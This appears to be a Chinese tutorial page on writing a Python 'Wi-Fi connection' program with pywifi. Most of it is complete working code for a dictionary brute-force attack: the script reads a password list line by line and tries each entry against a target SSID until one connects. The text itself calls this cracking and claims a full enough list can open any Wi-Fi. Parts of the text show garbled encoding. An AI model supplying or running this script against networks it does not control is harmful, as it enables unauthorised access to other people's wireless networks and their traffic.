基于Python實現(xiàn)wifi連接小程序
有時候我們會忘記自己的Wi-Fi密碼,或者需要連接某個Wi-Fi網(wǎng)絡(luò)以滿足合法需求。本文將介紹如何使用Python編程語言編寫一個簡單的連接Wi-Fi的程序。
一、密碼本準(zhǔn)備
在進(jìn)行wifi猜測時,其實就是列出各種可能的密碼,用來嘗試去訪問目標(biāo)wifi,直到找出正確的密碼為止,是密碼破解的一種方案。怎么有效去猜測wifi密碼呢,或者說日常中你使用的密碼為什么會被別人猜到,這就涉及到社會工程學(xué),比如習(xí)慣使用“123456”、“8888888”等弱口令,使用手機號、生日、家庭住址相關(guān)聯(lián)作為密碼,那么就很容易被猜到,這里不過多介紹,理論上任何密碼都可以用這種方法來猜測連接,不過越復(fù)雜的密碼破解耗時也越長。
二、連接準(zhǔn)備工作
python環(huán)境安裝
訪問Python官網(wǎng),點擊downloads按鈕,在下拉框中選擇系統(tǒng)類型,選擇下載最新版本的Python,沒有版本要求的話,盡量使用最新版本前幾個版本,避免新版本的不穩(wěn)定。雙擊下載好的Python安裝包,勾選左下角"Add Python 3.7 to PATH"選項,然后選擇"Install now"立刻安裝Python,默認(rèn)安裝或自定義安裝。打開命令窗口,使用“python --version”查驗環(huán)境是否安裝成功。
下載安裝pywifi庫
pip install pywifi
以下對整個連接程序主要部分進(jìn)行講解,最后提供完整的連接程序,可以使用自己的wifi網(wǎng)絡(luò)進(jìn)行連接嘗試,密碼本先填寫幾個錯誤密碼,最后再寫入正確密碼,試驗是否成功連接wifi,只要密碼本夠全,理論上可以連接所有wifi。注意一行表示一個可能性密碼。
創(chuàng)建一個無線對象,獲取無線網(wǎng)卡
#抓取網(wǎng)卡接口 wifi=pywifi.PyWiFi() #獲取第一個無線網(wǎng)卡 ifaces=wifi.interfaces()[0]
創(chuàng)建WiFi連接文件
創(chuàng)建WiFi連接文件,選擇要連接WiFi的名稱,然后檢查WiFi的開發(fā)狀態(tài),查看wifi的加密算法,一般wifi加密算法為WPA2 PSK,檢查加密單元。
#創(chuàng)建WiFi連接文件 profile=pywifi.Profile() #要連接WiFi的名稱 profile.ssid="WiFi名稱" #網(wǎng)卡的開放狀態(tài) profile.auth=const.AUTH_ALG_OPEN #wifi加密算法,一般wifi加密算法為wps profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密單元 profile.cipher=const.CIPHER_TYPE_CCMP
嘗試連接wifi
密碼本采用只讀的方式,一行一行讀取,后續(xù)用于嘗試連接wifi。
#讀取密碼本 def readPassword(): print("開始破解:") #密碼本路徑 path="wifi_pass.txt" #打開文件 file=open(path,"r") while True: try: #一行一行讀取 pad=file.readline() #嘗試連接wifi bool = wifiConnect(pad) if not pad: break if bool: print("密碼已破解: ",pad) print("WiFi已自動連接?。。?) break else: #跳出當(dāng)前循環(huán),進(jìn)行下一次循環(huán) print("密碼破解中....密碼校對: ",pad) except: continue
三、完整程序代碼
# coding:utf-8 import pywifi from pywifi import const import time #測試連接,返回鏈接結(jié)果 def wifiConnect(pwd): #抓取網(wǎng)卡接口 wifi=pywifi.PyWiFi() #獲取第一個無線網(wǎng)卡 ifaces=wifi.interfaces()[0] #斷開所有連接 ifaces.disconnect() time.sleep(1) wifistatus=ifaces.status() if wifistatus ==const.IFACE_DISCONNECTED: #創(chuàng)建WiFi連接文件 profile=pywifi.Profile() #要連接WiFi的名稱 profile.ssid="****_Wi-Fi5" #網(wǎng)卡的開放狀態(tài) profile.auth=const.AUTH_ALG_OPEN #wifi加密算法,一般wifi加密算法為wps profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密單元 profile.cipher=const.CIPHER_TYPE_CCMP #調(diào)用密碼 profile.key=pwd #刪除所有連接過的wifi文件 ifaces.remove_all_network_profiles() #設(shè)定新的連接文件 tep_profile=ifaces.add_network_profile(profile) ifaces.connect(tep_profile) #wifi連接時間 time.sleep(3) if ifaces.status()==const.IFACE_CONNECTED: return True else: return False else: print("已有wifi連接") #讀取密碼本 def readPassword(): print("開始破解:") #密碼本路徑 path="wifi_pass.txt" #打開文件 file=open(path,"r") while True: try: #一行一行讀取 pad=file.readline() #嘗試連接wifi bool = wifiConnect(pad) if not pad: break if bool: print("密碼已破解: ",pad) print("WiFi已自動連接?。?!") break else: #跳出當(dāng)前循環(huán),進(jìn)行下一次循環(huán) print("密碼破解中....密碼校對: ",pad) except: continue readPassword()
運行結(jié)果
到此這篇關(guān)于基于Python實現(xiàn)wifi連接小程序的文章就介紹到這了,更多相關(guān)Python連接wifi內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Python中tkinter無法同時顯示多個image的解決方法及pack與place解析
這篇文章主要介紹了Python中tkinter無法同時顯示多個image的解決方法及pack與place解析,本文給大家分享問題原因解析及解決方案,需要的朋友可以參考下2023-02-02C# DataGridView行列轉(zhuǎn)換的具體實現(xiàn)
本文主要介紹了C# DataGridView行列轉(zhuǎn)換的具體實現(xiàn),文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2023-02-02將pymysql獲取到的數(shù)據(jù)類型是tuple轉(zhuǎn)化為pandas方式
這篇文章主要介紹了將pymysql獲取到的數(shù)據(jù)類型是tuple轉(zhuǎn)化為pandas方式,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2020-05-05Python連接數(shù)據(jù)庫進(jìn)行數(shù)據(jù)查詢的操作代碼
這篇文章主要介紹了Python連接數(shù)據(jù)庫進(jìn)行數(shù)據(jù)查詢的操作代碼,本文給大家介紹的非常詳細(xì),感興趣的朋友跟隨小編一起看看吧2024-06-06